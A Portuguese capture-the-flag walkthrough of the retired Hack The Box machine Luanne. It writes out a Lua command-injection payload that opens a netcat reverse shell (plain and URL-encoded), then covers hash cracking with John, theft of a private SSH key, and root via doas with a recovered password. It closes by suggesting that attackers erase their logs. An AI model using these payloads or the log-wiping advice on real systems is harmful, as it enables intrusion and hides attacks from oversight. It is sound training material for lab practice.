Luanne - Hack The Box - WalkThrough
Esse é meu primeiro artigo, resolvi fazer a resolução da maquina LUANNE da plataforma Hack The Box, pois gostei bastante dessa box, portanto resolvi dar um review do que você vai encontrar por lá, para que você possa resolvê-la. Claro que aguardei a box ser retirada, afinal, não quero desrespeitar nenhuma regra da plataforma.
Após ligar a VM, iniciei um scan simples e barulhento com o nmap.
Como podemos ver na porta padrão “80”, está vazando um “title” do arquivo 'robots.txt' com um diretório escondido “/weather”, analise comigo abaixo:
Perceba que o mesmo está sem permissão retornando um 401 “Unauthorized”. Então faço um brute-force na busca de novos diretórios e arquivos dentro deste, afinal, quem sabe não encontramos algo que temos permissão, não é mesmo?
Perfeito, encontramos um outro diretório com status code 200, ou seja, funcionando. Ao acessar o mesmo, recebemos uma aplicação com uma mensagem interessante.
traduzindo: Nenhuma cidade especificada, Use “city=list” para listar possíveis cidades.
Após especificar como a aplicação pede, recebemos isto:
Legal, conseguimos listar as cidades, e isso é muito interessante, pois estamos interagindo diretamente com a aplicação, isso não é o máximo? Eu gosto de pensar da seguinte forma;
Se estamos interagindo diretamente com a aplicação, será possível explorar um RCE(Código de Execução Remoto) através de uma reverse shell? Possívelmente.
Vamos brincar um pouco mais pra tentar entender a aplicação. já que listamos as cidades, o que acontece se especificarmos uma cidade? escolhi a “London”.
Conseguimos brincar e ver informações expostas sobre as cidades, informações como temperatura min e max, velocidade do vento, pressão, data, etc.
Agora, precisamos voltar ao scan inicial, e reunir algumas informações importantes que talvez deixamos passar, ou não, pois precisamos montar um quebra cabeça pra pensar em formas de comprometer este sistema.
Temos um serviço rodando na porta 9001 no qual não temos autorização, um aplicação rodando no diretório /Weather, e um sistema operacional NETBSD.
Durante minhas pesquisas, eu quis entender um pouco a diferença sobre o NETBSD, OPENBSD e FREEBSD.
O legal do Hack The Box é que ele te coloca pra estudar, afinal, o objetivo da plataforma não é só o desafio, mas te ensinar. Segue um artigo a respeito:
Legal, temos um sistema incrível para interagir e uma aplicação rodando, então. que tal tentarmos uma reverse shell agora?
Abro um comando: os.execute(“”)
Ou seja, quero interagir com o sistema.
E copio uma shell reversa com netcat específica para sistema OPENBSD com NETCAT que pode ser encontrado no seguinte repo:
Altero o IP do meu código e a porta padrão, para que tente se conectar a mim através da porta 444.
O nosso comando para shell reversa ficou exatamente assim:
');os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.252 444 >/tmp/f")--
Entretando, precisamos encodar este comando para esconder alguns caracteres e acabar com os espaços presentes, ficando exatamente assim:
%27%29%3Bos.execute%28%22rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.252%20444%20%3E%2Ftmp%2Ff%22%29--
Lindo não? Coloco minha maquina para escutar a porta 444, insiro o código encodado na url e o servidor nos dá o acesso que precisamos.
Dentro do servidor, começo um reconhecimento, em /home/ encontramos um usuário chamado r.michaels, porém, quando tento acessar o diretório, não tenho permissão, e isso é muito estranho.
Ao explorar a pasta do servidor localizada em /var/www/ encontramos um arquivo oculto bem sugestivo chamado .htpasswd
Interessante, temos uma hash de usuário, então utilizo nosso 'John' para fazer um bruteforce na hash indicando ao mesmo uma wordlist muito comum chamada 'rockyou.txt'.
E agora temos a PASSWORD:
Assim que consegui a senha, a primeira coisa que tentei foi logar no usuário r.michaels, mas sem sucesso, esse 'webapi' não fazia sentido pra mim, mesmo sendo um nome sugestivo, sem opções, decidi listar os serviços que estavam rodando no momento.
UALL.
Como podemos ver, temos algumas coisas em modo 'Listen':
Porta 22 SSH que é padrão, mas não temos a chave para logar;
Porta 9001, mas não temos autorização;
Porta 80, padrão HTTP;
Porta 3001 e 3000 rodando em nosso servidor localmente, possivelmente onde está rodando nossa webapi. Com essas informações úteis decidi buscar arquivos existente dentro do user r.michaels, busquei a flag que geralmente fica em um arquivo padrão chamado: 'user.txt'; mas como nada foi encontrado busquei o 'id_rsa' também pois temos um serviço de ssh rodando.
E.. Voilà.
Recebemos uma chave privada, agora basta salvar na nossa maquina, dar a permissão necessária ao arquivo id_rsa e logar no usuário r.michaels.
Temos agora o usuário r.michaels com hostname LUANNE, o olho chega a brilhar. Lendo o arquivo user.txt, ganhamos a nossa flag de usuário, mas ainda precisamos escalar privilégio para a flag root de administrador.
Lendo o arquivo encontrado na pasta /backups, temos algo que me chamou atenção, um encrypt com 'devel.tar.gz.enc', e eu nunca tinha me deparado com isso.
O encrypt .tar.gz nós conhecemos, mas esse .enc, eu não conhecia, então fui pesquisar a respeito.
E obrigado Hack the Box mais uma vez pelo conhecimento adquirido, vamos descriptografar e converter este '.enc' em '.tar.gz'. Porém, temos um adendo, não temos permissão de fazer isso na pasta atual, mas existe uma pasta que todo usuário tem permissão de escrita, a /tmp/ . Temos também um contrab com um time que remove tudo dentro desta pasta em segundos, precisamos fazer tudo o mais rápido possível.
Encontramos outra hash de usuário, tudo que precisamos para escalar privilégio. Então, uso o John novamente para quebrar a senha.
Perfeito, temos nossa senha, agora basta logar com usuário sudo e teremos nossa última flag, certo? Errado!
Isso também me surpreendeu, o comando 'sudo' simplismente não existe neste sistema!
Isso me rendeu mais uma pesquisa, e lá vou eu, ler a documentação do sistema, e descobrir que pra nossa sorte, existe um comando chamado 'doas'.
doas seu lindo, vem aqui pro papai!
o comando 'doas' vai nos ajudar, específico do sistema NetBSD é uma alternativa ao comando 'sudo', ele permite que você execute comandos como se fosse outro usuário do sistema.
Então, vamos lá;
Utilizo nossa senha 'littlebear', e taram, temos acesso a root, e em /root/ podemos encontrar nossa flag de root.txt.
Dica: muitos players param de jogar aqui, após pontuar na plataforma com a flag de root. Eu penso que é um ótimo cenário pra se aproveitar, e apagar ou substituir todos os logs gerados do seu ataque ao sistema antes de sair, afinal, é isso que um bom hacker faria, então, deixo isso no ar pra vocês.
Sou muito agradecido ao criador desta box, foi uma experiência incrível.
#HappyHacking
Senior Software Engineer at Ambush
3 aParabéns Michael Ferreira Alves da Silva (Al4xs)